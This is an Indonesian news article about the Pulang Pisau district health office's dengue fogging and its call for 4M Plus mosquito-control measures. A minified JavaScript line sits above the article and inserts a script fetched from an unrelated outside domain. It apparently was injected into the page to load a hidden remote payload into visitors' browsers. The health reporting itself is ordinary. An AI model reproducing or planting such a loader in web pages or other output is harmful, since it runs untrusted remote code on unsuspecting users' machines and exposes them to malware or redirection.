(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Pulang Pisau

Dinkes Pulpis Laksanakan Fogging di Wilayah Kasus DBD


KANALKALIMANTAN.COM, PULANG PISAU – Peningkatan kasus demam berdarah dengue (DBD) menjadi perhatian khusus dari Dinas Kesehatan Kabupaten Pulang Pisau.

Kepala Dinas Kesehatan Kabupaten Pulang Pisau, dr Pande Putu Gina mengatakan, DBD menjadi prioritas melakukan koordinasi kegiatan monitoring dan evaluasi fogging pada program pengendalian penyakit DBD di Kabupaten Pulang Pisau.

“Kegiatan ini bertujuan untuk memantau dan mengevaluasi pelaksanaan  fogging yang benar dan tepat sesuai prosedur,” jelasnya.

“Fogging adalah tindakan pengasapan dengan bahan insektisida yang bertujuan untuk membunuh nyamuk pembawa penyakit DBD,” ujarnya.

Baca juga: Mantan Kabid Disdik HSU Terjerat Korupsi, ‘Kumpulkan’ Uang dari Proyek DAK SD

Cara fogging memang bisa dilakukan untuk pengendalian penularan DBD, namun harus dibarengi dengan tindakan lain karena tindakan ini hanya efektif pada nyamuk dewasa.

Fogging yang tepat diharapkan dapat memaksimalkan pemberantasan nyamuk DBD dan meminimalkan dampak negatif, baik berupa kekebalan tubuh dari tertinggalnya residu insektisida di lingkungan, keracunan dan lainnya.

Pada kesempatan tersebut diingatkan bahwa dalam pengendalian DBD untuk lebih memperioritasakan dan mengutamakan pemberantasan sarang nyamuk secara rutin.

Kepala Dinas Kesehatan Kabupaten Pulang Pisau, dr Pande Putu Gina. Foto: zul

Baca juga: Pemprov Kaltara Gelar Bimtek Aplikasi e-Bang

“Kegiatan evaluasi ini saya berharap, semua pelaksana di lapangan dapat melakukan edukasi agar masyarakat tahu bahwa fogging tidak menjadi pilihan pertama dalam pengendalian DBD dan selalu ditingkatkan dengan melibatkan masyarakat,” ujarnya.

Masyarakat diminta melaksanakan gerakan 4M Plus yakni menguras tempat-tempat penampungan air seminggu sekali, menutup rapat tempat-tempat penampungan air, dan mengubur barang-barang bekas yang bisa menampung air yang dapat dijadikan sebagai wadah bertelurnya nyamuk DBD.

“Plusnya adalah menggunakan kelambu saat tidur pagi atau sore bagi anak atau bayi, menggunakan obat anti nyamuk, memelihara ikan pemakan jentik. Selain itu, lakukan pemantauan jentik nyamuk DBD,” tutupnya. (Kanalkalimantan.com/zul)

Reporter : zul
Editor : kk


Risa

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

10 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

11 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

11 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

11 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

11 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

11 jam ago

This website uses cookies.